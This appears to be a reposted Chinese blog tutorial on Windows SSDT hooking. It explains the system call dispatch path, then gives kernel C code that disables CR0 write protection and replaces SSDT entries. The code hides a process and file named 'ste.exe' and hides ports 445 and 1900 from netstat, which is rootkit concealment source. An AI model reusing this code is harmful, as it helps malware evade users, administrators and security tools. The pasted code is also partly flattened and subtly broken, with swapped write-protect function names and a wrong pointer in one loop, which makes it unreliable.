ssdt 表修改详细
SSDT Hook技术详解与应用
- SSDT Hook技术详解与应用
- 一SSDT简介
- 1什么是SSDT
- 2SSDT结构
- 3应用层调用 Win32 API 的完整执行流程
- 二SSDT Hook原理
- 1SSDT Hook原理简介
- 2进程隐藏与保护
- 3文件隐藏与保护
- 4端口隐藏
- 一SSDT简介
一、SSDT简介
1、什么是SSDT
SSDT 的全称是 System Services Descriptor Table,系统服务描述符表。这个表就是一个把 Ring3 的 Win32 API 和 Ring0 的内核 API 联系起来。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。通过修改此表的函数地址可以对常用 Windows 函数及 API 进行 Hook,从而实现对一些关心的系统动作进行过滤、监控的目的。一些 HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。
在 NT 4.0 以上的 Windows 操作系统中,默认就存在两个系统服务描述表,这两个调度表对应了两类不同的系统服务,这两个调度表为:KeServiceDescriptorTable 和 KeServiceDescriptorTableShadow,其中 KeServiceDescriptorTable 主要是处理来自 Ring3 层得 Kernel32.dll 中的系统调用,而 KeServiceDescriptorTableShadow 则主要处理来自 User32.dll 和 GDI32.dll 中的系统调用,并且 KeServiceDescriptorTable 在 ntoskrnl.exe(Windows 操作系统内核文件,包括内核和执行体层)是导出的,而 KeServiceDescriptorTableShadow 则是没有被 Windows 操作系统所导出,而关于 SSDT 的全部内容则都是通过 KeServiceDescriptorTable 来完成的。
2、SSDT结构
下图是IDA分析的ntoskrnl.exe中导出的KeServiceDescriptorTable 结构。
下面是KeServiceDescriptorTable 的具体含义。
~~~c++
typedef struct _KSYSTEM_SERVICE_TABLE{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 用于 checked builds, 包含 SSDT 中每个服务被调用的次数
ULONG NumberOfService; // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
有了上面的介绍后,我们可以简单的将 KeServiceDescriptor 看做是一个数组了(其实质也就是个数组),**在应用层 ntdll.dll 中的 API 在这个系统服务描述表(SSDT)中都存在一个与之相对应的服务,当我们的应用程序调用 ntdll.dll 中的 API 时,最终会调用内核中与之相对应的系统服务,由于有了 SSDT,所以我们只需要告诉内核需要调用的服务所在 SSDT 中的索引就 OK 了,然后内核根据这个索引值就可以在 SSDT 中找到相对应的服务了,然后再由内核调用服务完成应用程序 API 的调用请求即可。基本结构可以参考下图:
3、应用层调用 Win32 API 的完整执行流程
有了上面的 SSDT 基础后,我们再来看一下在应用层调用 Win32 API(这里主要指的是 ntdll.dll 中的 API)的完整流程,这里我们主要是分析 ntdll.dll 中的 NtQuerySystemInformation 这个 API 的调用流程。
(PS:Windows 任务管理器即是通过这个 API 来获取到系统的进程等等信息的)。
再给出这些个 API 的基本的调用流程
实质上,在 Windows 操作系统中,Ntdll.dll 中的ZwQuerySystemInformation 和 NtQuerySystemInformation 是同一函数,可以通过下面的截图看出,这两个函数的入口地址指向同一区域,他们的函数入口地址都是一样的 。
众所周知 Ntdll.dll 中的 API 都只不过是一个简单的包装函数而已,当 Kernel32.dll 中的 API 通过 Ntdll.dll 时,会完成参数的检查,再调用一个中断(int 2Eh 或者 SysEnter 指令),从而实现从 Ring3 进入 Ring0 层,并且将所要调用的服务号(也就是在 SSDT 数组中的索引值)存放到寄存器 EAX 中,并且将参数地址放到指定的寄存器(EDX)中,再将参数复制到内核地址空间中,再根据存放在 EAX 中的索引值来在 SSDT 数组中调用指定的服务 。
下面来看 ntoskrnl.exe 中的 ZwQuerySystemInformation:
在上面的这幅截图中,可以看到在 Ring0 下的 ZwQuerySystemInformation 将 0ADh 放入了寄存器 eax 中,然后调用了系统服务分发函数 KiSystemService,而这个 KiSystemService 函数则是根据 eax 寄存器中的索引值,然后再 SSDT 数组中找到索引值为 eax 寄存器中存放的值得那个 SSDT 项,最后就是根据这个 SSDT 项中所存放的系统服务的地址来调用这个系统服务。比如在这里就是调用 KeServiceDescriptorTable[0ADh] 处所保存的地址所对应的系统服务 。也就是调用 Ring0 下的 NtQuerySystemInformation 了 。至此,在应用层中调用 NtQuerySystemInformation 的全部流程也就结束了 。
二、SSDT Hook原理
1、SSDT Hook原理简介
有了上面的这部分基础后,就可以来看 SSDT HOOK 的原理了,其实 SSDT Hook 的原理是很简单的,从上面的分析中,我们可以知道在 SSDT 这个数组中,保存了系统服务的地址,比如对于 Ring0 下的 NtQuerySystemInformation 这个系统服务的地址,就保存在 KeServiceDescriptorTable[0ADh] 中,既然是 Hook 的话,我们就可以将这个 KeServiceDescriptorTable[0ADh] 下保存的服务地址替换掉,将我们自己的 Hook 处理函数的地址来替换掉原来的地址,这样当每次调用 KeServiceDescriptorTable[0ADh]时就会调用我们自己的这个 Hook 处理函数了。
下面截图是SSDT Hook之前:
下面的截图则是 SSDT Hook 之后,可以看到将 SSDT 中的服务地址修改为 MyHookNtQuerySystemInformation 了,这样的话,每次系统调用 NtQuerySystemInformation 这个系统服务时,实质上调用的就是MyHookNtQuerySystemInformation 了,而我们为了保证系统的稳定性(至少不让其崩溃),一般会在 MyHookNtQuerySystemInformation 中调用系统中原来的服务,也就是 NtQuerySystemInformation。
下面来看一下备份、修改、还原SSDT的具体代码:
//=====================================================================================//
//Name:KSYSTEM_SERVICE_TABLE | KSERVICE_TABLE_DESCRIPTOR 定义 //
// //
//Descripion: 定义SSDT表结构与获取函数索引值和地址的基本方法 //
// //
//=====================================================================================//
typedef struct _KSYSTEM_SERVICE_TABLE
{PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址PULONG ServiceCounterTableBase; // 包含 SSDT 中每个服务被调用的次数ULONG NumberOfService; // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;typedef struct _KSERVICE_TABLE_DESCRIPTOR
{KSYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe 的服务函数KSYSTEM_SERVICE_TABLE win32k; // win32k.sys 的服务函数(GDI32.dll/User32.dll 的内核支持)KSYSTEM_SERVICE_TABLE notUsed1;KSYSTEM_SERVICE_TABLE notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;#define SYSCALL_FUNCTION(ServiceFunction) KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[SYSCALL_INDEX(ServiceFunction)]
#define SYSCALL_INDEX(ServiceFunction) (*(PULONG)((PUCHAR)ServiceFunction + 1))#define MAX_SYSTEM_SERVICE_NUMBER 0x128
//用来保存 SSDT 中所有的旧的服务函数的地址
ULONG oldSysServiceAddr[MAX_SYSTEM_SERVICE_NUMBER];//=====================================================================================//
//Name: VOID DisableWriteProtect() //
// //
//Descripion: 用来去掉内存的可写属性,从而实现内存只读 //
// //
//=====================================================================================//
VOID DisableWriteProtect(ULONG oldAttr)
{_asm{push eaxmov eax, oldAttrmov cr0, eaxpop eaxsti;}
}//=====================================================================================//
//Name: VOID EnableWriteProtect() //
// //
//Descripion: 用来去掉内存的只读保护,从而实现可以写内存 //
// //
//=====================================================================================//
VOID EnableWriteProtect(PULONG pOldAttr)
{ULONG uAttr; _asm { cli;push eaxmov eax, cr0; mov uAttr, eax; and eax, 0FFFEFFFFh; // CR0 16 BIT = 0 mov cr0, eax; pop eax}; //保存原有的 CRO 属性 *pOldAttr = uAttr;
}//=====================================================================================//
//Name: VOID BackupSysServicesTable() //
// //
//Descripion: 备份 SSDT 中原有服务的地址,因为在解除 Hook 时需要还原 SSDT 中原有地址 //
// //
//=====================================================================================//
VOID BackupSysServicesTable()
{ULONG i;for(i = 0; (i < KeServiceDescriptorTable->ntoskrnl.NumberOfService) && (i < MAX_SYSTEM_SERVICE_NUMBER); i++){oldSysServiceAddr[i] = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[i];}
}
//=====================================================================================//
//Name: NTSTATUS InstallSysServiceHook() //
// //
//Descripion: 实现 Hook 的安装,主要是在 SSDT 中将服务地址替换为新服务地址 //
// //
//=====================================================================================//
NTSTATUS InstallSysServiceHook(ULONG oldService, ULONG newService)
{ULONG uOldAttr = 0;EnableWriteProtect(&uOldAttr);SYSCALL_FUNCTION(oldService) = newService;DisableWriteProtect(uOldAttr);return STATUS_SUCCESS;}//=====================================================================================//
//Name: NTSTATUS UnInstallSysServiceHook() //
// //
//Descripion: 实现 Hook 的解除,主要是在 SSDT 中用备份下的服务地址来替换掉 oldService //
// //
//=====================================================================================//
NTSTATUS UnInstallSysServiceHook(ULONG oldService)
{ULONG uOldAttr = 0;EnableWriteProtect(&uOldAttr);SYSCALL_FUNCTION(oldService) = oldSysServiceAddr[SYSCALL_INDEX(oldService)];DisableWriteProtect(uOldAttr);return STATUS_SUCCESS;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
2、进程隐藏与保护
NTSTATUS HookNtQuerySystemInformation (IN SYSTEM_INFORMATION_CLASS SystemInformationClass,OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength)
{NTSTATUS rtStatus=STATUS_SUCCESS;NTQUERYSYSTEMINFORMATION pOldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)oldSysServiceAddr[SYSCALL_INDEX(ZwQuerySystemInformation)];rtStatus = pOldNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);if(NT_SUCCESS(rtStatus)){if(SystemProcessInformation==SystemInformationClass){PSYSTEM_PROCESS_INFORMATION pPrevProcessInfo = NULL;PSYSTEM_PROCESS_INFORMATION pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;UNICODE_STRING hideProcessName;RtlInitUnicodeString(&hideProcessName,L"ste.exe");while(pCurrProcessInfo != NULL){//获取当前遍历的 SYSTEM_PROCESS_INFORMATION 节点的进程名称和进程 IDULONG uPID = (ULONG)pCurrProcessInfo->ProcessId;UNICODE_STRING strTmpProcessName;//RtlInitUnicodeString(&strTmpProcessName,L"");strTmpProcessName = pCurrProcessInfo->ImageName;//判断当前遍历的这个进程是否为需要隐藏的进程if(unicodeStrCmp(hideProcessName,strTmpProcessName,strTmpProcessName.Length)){if(pPrevProcessInfo){if(pCurrProcessInfo->NextEntryOffset){//将当前这个进程(即要隐藏的进程)从 SystemInformation 中摘除(更改链表偏移指针实现)pPrevProcessInfo->NextEntryOffset += pCurrProcessInfo->NextEntryOffset;}else{//说明当前要隐藏的这个进程是进程链表中的最后一个pPrevProcessInfo->NextEntryOffset = 0;}}else{//第一个遍历到得进程就是需要隐藏的进程if(pCurrProcessInfo->NextEntryOffset)(PCHAR)SystemInformation += pCurrProcessInfo->NextEntryOffset;elseSystemInformation = NULL;}}//遍历下一个 SYSTEM_PROCESS_INFORMATION 节点pPrevProcessInfo = pCurrProcessInfo;//遍历结束if(pCurrProcessInfo->NextEntryOffset)pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)(((PCHAR)pCurrProcessInfo) + pCurrProcessInfo->NextEntryOffset);elsepCurrProcessInfo=NULL;}}}return rtStatus;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
3、文件隐藏与保护
NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile,IN HANDLE hEvent,IN PIO_APC_ROUTINE IoApcRoutine,IN PVOID IoApcContext,OUT PIO_STATUS_BLOCK pIoStatusBlock,OUT PVOID FileInformationBuffer,IN ULONG FileInformationBufferLength,IN FILE_INFORMATION_CLASS FileInfoClass,IN BOOLEAN ReturnOnlyOneEntry,IN PUNICODE_STRING FileName,IN BOOLEAN RestartQuery)
{NTSTATUS ntStatus;LPFILE_NAMES_INFORMATION fileCurr;LPFILE_NAMES_INFORMATION filePrev;PFILE_BOTH_DIR_INFORMATION pFileInfo;PFILE_BOTH_DIR_INFORMATION pPrevFileInfo;BOOLEAN lastOne;ULONG left;ULONG pos;WCHAR * hideFileName=L"ste.exe";ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)];ntStatus=((ZWQUERYDIRECTORYFILE)(pOldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,ReturnOnlyOneEntry,FileName,RestartQuery);if(!bHideFile)return ntStatus;//RtlInitUnicodeString(&hideFileName,L"ste.exe");if(NT_SUCCESS(ntStatus)&& FileInfoClass==FileBothDirectoryInformation){pFileInfo=(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;pPrevFileInfo=NULL;do {lastOne=!(pFileInfo->NextEntryOffset);//RtlInitUnicodeString(&fileNameWide,pFileInfo->FileName);if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength)){if(lastOne){if(pFileInfo==(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)ntStatus=0x80000006;elsepPrevFileInfo->NextEntryOffset=0;}else{pos=((ULONG)pFileInfo)-((ULONG)FileInformationBuffer);left=(ULONG)FileInformationBufferLength-pos-pFileInfo->NextEntryOffset;RtlCopyMemory((PVOID)pFileInfo,(PVOID)((char *)pFileInfo+pFileInfo->NextEntryOffset),(ULONG)left);continue;}}pPrevFileInfo=pFileInfo;pFileInfo=(PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo+pFileInfo->NextEntryOffset);//fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);} while(!lastOne);}if (NT_SUCCESS(ntStatus) && FileInfoClass==FileNamesInformation){fileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;do {lastOne=!(fileCurr->NextEntryOffset); //取偏移//fileNameLength=fileCurr->FileNameLength; //取长度//RtlInitUnicodeString(&fileNameWide,fileCurr->FileName);if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength)){if(lastOne){if (fileCurr==(LPFILE_NAMES_INFORMATION)FileInformationBuffer)ntStatus=0x80000006; //隐藏elsefilePrev->NextEntryOffset=0;}else{//移动文件偏移pos=((ULONG)fileCurr)-((ULONG)FileInformationBuffer);left=(ULONG)FileInformationBufferLength-pos-fileCurr->NextEntryOffset;RtlCopyMemory((PVOID)fileCurr,(PVOID)((char *)fileCurr+fileCurr->NextEntryOffset),(ULONG)left);continue;}}filePrev=fileCurr;fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);}while(!lastOne);}return ntStatus;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
4、端口隐藏
NTSTATUS HookZwDeviceIoControlFile(IN HANDLE FileHandle,IN HANDLE Event,IN PIO_APC_ROUTINE ApcRoutine,IN PVOID ApcContext,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG IoControlCode,IN PVOID InputBuffer,IN ULONG InputBufferLength,OUT PVOID OutputBuffer,IN ULONG OutputBufferLength)
{NTSTATUS rtStatus=STATUS_SUCCESS;TCPAddrEntry* TcpTable;TCPAddrExEntry* TcpExTable;UDPAddrEntry* UdpTable;UDPAddrExEntry* UdpExTable;ULONG numconn;ULONG i;ULONG RetLen;UCHAR buff[512];POBJECT_NAME_INFORMATION ObjectName=(PVOID)&buff;ANSI_STRING ObjectNameAnsi;PUCHAR InBuff;ZWDEVICEIOCONTROLFILE pOldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwDeviceIoControlFile)];rtStatus = ((ZWDEVICEIOCONTROLFILE)(pOldZwDeviceIoControlFile)) (FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if(NT_SUCCESS(rtStatus) && IoControlCode==0x120003)//netstat use this IoControlCode{if(NT_SUCCESS(ZwQueryObject(FileHandle,ObjectNameInformation,ObjectName,512,&RetLen))){RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,strlen(TCP_PORT_DEVICE))==0){if (((InBuff=(PUCHAR)InputBuffer)==NULL) || (InputBufferLength<17))//InputBuffer is wrongreturn rtStatus;//对于TCP查询,输入缓冲的特征是 InputBuffer[0]为0x00,如果OutputBuffer中已经有了端口数据,则InputBuffer[17]为0x01,//如果是扩展结 构,则InputBuffer[16]为0x02。对于UDP查询,InputBuffer[0]就为0x01了,InputBuffer[16]和 InputBuffer[17]的值和TCP查询是一样的。//-------------------------------------------------------TCP----------------------------------------------------------------------------if ((InBuff[0]==0x00) && (InBuff[17]==0x01)) //TCP端口{if (InBuff[16]!=0x02) //非扩展结构{numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);TcpTable = (TCPAddrEntry*)OutputBuffer;for( i=0; i<numconn; i++ ){if( ntohs(TcpTable[i].tae_ConnLocalPort) == 445 ){//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );numconn--;i--;}}IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);}if(InBuff[16]==0x02)//扩展结构{numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);TcpExTable = (TCPAddrExEntry*)OutputBuffer;for( i=0; i<numconn; i++ ){if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 445 )if(TcpExTable[i].pid==0){//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpExTable[i].tae_ConnLocalPort));memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );numconn--;i--;}}IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);}}
//-----------------------------------------------------------UDP---------------------------------------------------------------if ((InBuff[0]==0x01) && (InBuff[17]==0x01)) //TCP端口{if (InBuff[16]!=0x02) //非扩展结构{numconn = IoStatusBlock->Information/sizeof(UDPAddrEntry);UdpTable = (UDPAddrEntry*)OutputBuffer;for( i=0; i<numconn; i++ ){if( ntohs(UdpTable[i].tae_ConnLocalPort) == 1900 ){//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(UdpTable[i].tae_ConnLocalPort));memcpy( (UdpTable+i), (UdpTable+i+1), ((numconn-i-1)*sizeof(UDPAddrEntry)) );numconn--;i--;}}IoStatusBlock->Information = numconn*sizeof(UDPAddrEntry);}if(InBuff[16]==0x02)//扩展结构{numconn = IoStatusBlock->Information/sizeof(UDPAddrExEntry);UdpExTable = (UDPAddrExEntry*)OutputBuffer;for( i=0; i<numconn; i++ ){if( ntohs(UdpExTable[i].tae_ConnLocalPort) == 1900 ){//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(UdpExTable[i].tae_ConnLocalPort));memcpy( (UdpExTable+i), (UdpExTable+i+1), ((numconn-i-1)*sizeof(UDPAddrExEntry)) );numconn--;i--;}}IoStatusBlock->Information = numconn*sizeof(UDPAddrExEntry);}}}}}return rtStatus;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
<link href="https://csdnimg.cn/release/phoenix/mdeditor/markdown_views-7b4cdcb592.css" rel="stylesheet"></div>
</article>
注明:转载至https://blog.csdn.net/flydragonhero/article/details/61193692
ssdt 表修改详细相关推荐
- [HTC Touch Diamond/dopod S900/O2 XDA Ignito] 钻石详细注册表修改
这段时间有空学着自己做钻石的6.5rom,从各位前辈那里学到了很多,在此把自己收集起来的注册表修改项贴出,希望对各位有用处 ; 今日标题栏显示电池或者显示时间 ; 0: 显示电池, 1:显示时间 ;= ...
- Windows注册表修改实例完全手册(下)
注 册表是Windows操作系统的核心.它实质上是一个庞大的数据库,存放有计算机硬件和全部配置信息.系统和应用软件的初始化信息.应用软件和文档文件的 关联关系.硬件设备说明以及各种网络状态信息和数据. ...
- ssdt 表结构及hook的一般理解
1 Ssdt表的基本结构 KeServiceDescriptorTable 首地址:8055D700 0: kd> dd KeServiceDescriptorTable 8055d ...
- SQL Server详细使用教程(包含启动SQL server服务、建立数据库、建表的详细操作) 非常适合初学者
文章目录 目录 前言 一.启动SQL server服务的三种方法 1.不启动SQL server服务的影响 2.方法一:利用cmd启动SQL server服务 3.方法二:利用SQL Server配置 ...
- PPC注册表修改详解集合
PPC注册表修改详解集合 没事情做,发个帖子..转发的,不知道原作者是谁了,向他(们)致敬 手机 手机社区 手机论坛 手机游戏 主题 电子书 主题 软件 电子书 铃声 图片 手机证书 刷机 技术测评 ...
- mysql创建表分区详细介绍及示例
mysql创建表分区详细介绍及示例 1. 基本概念 1.1 什么是表分区? 1.2 表分区与分表的区别 1.3 表分区有什么好处? 1.4 分区表的限制因素 2. 如何判断当前MySQL是否支持分区? ...
- 杀毒软件智能主动防御的软肋——无驱恢复系统SSDT表
8.3 杀毒软件智能主动防御的软肋--无驱恢复系统SSDT表 大部分的杀毒软件其内置的主动防御功能,通常考虑到用户易用性的问题,都是采用的智能HIPS拦截,也就是说内置一些HIPS拦截规则,智能判断未 ...
- 通过注册表修改默认浏览器设置
2019独角兽企业重金招聘Python工程师标准>>> 默认浏览器被改成搜狗浏览器了, 使用IE恢复也不行(IE6). 上网查了下, 有通过注册表修改 HKEY_CLASSES_RO ...
- mysql大表修改表名原理_MySQL修改大表工具pt-online-schema-change原理
MySQL修改大表工具pt-online-schema-change的使用限制: 1).如果修改表有外键,除非使用 –alter-foreign-keys-method 指定特定的值,否则工具不予执行 ...
- Win7 64位的SSDTHOOK(1)---SSDT表的寻找
最近在学习64位驱动,涉及到了SSDT的知识,结果发现64位下的SSDT和32位下的SSDT有所不同. 开始发现64位下的KeServiceDescriptorTable是未导出的函数.首先要找到Ke ...
最新文章
- [Spring 深度解析]第2章 Spring基础
- Android 5.0 Lollipop介绍
- 联想笔记本ideapad700 15isk添加内存
- iOS实现自定义的弹出视图(popView)
- 统计字符[2] (15 分)
- linux内核配置成qspi挂载,Zynq-Linux移植学习笔记之十-qspi驱动配置
- 【转】测试用例设计——WEB通用测试用例
- 主表和附表的关联关系,普通字段就可以实现为什么还要有主键外键?之间有什么关系
- 一个黑客都要学习什么语言呢?
- 同济版《线性代数》引发激烈争议!
- linux中sendto函数路径,Linux下send、sendto、sendmsg函数分析
- Apache Spark 完全替代传统数仓的技术挑战及实践
- 学到了林海峰,武沛齐讲的Day16完
- 网站备案各个管局的审核时间多久?
- 09 conventional exercise
- python抓取google搜索结果
- jenkins+Warnings Next Generation Plugin构建代码自动化检测
- 谷歌pay 手续费_您可以使用Google Pay进行的所有操作
- 2023最新无人机专业现状分析及完整“产教融合”人才培养解决方案(超详细)
- Excel 设置表格备选项,以及根据值改变表格颜色
热门文章
- 09-Further Delays Hit Syria Chemical Weapons Disarmament
- 「75页PDF免费下载」面向所有人的机器学习科普大全
- CnOpenData中国上市公司公告数据简介
- 一些有趣但少有人知的 Python 特性
- python笔记本好_如何使用 Python 分析笔记本电脑上的 100 GB 数据
- 精灵图在线测量,自动生成想要图片的宽高及位置
- 动态电压恢复器(DVR)模型 Matlab/simulink
- 《计算机网络基础》笔记 -----应用层(六)
- php if相关标签,dedecms模板中运用dede标签时使用php和if判断语句的方法
- 集合--TreeSet类比较器排序的实现方式及如何保证元素的排序和唯一性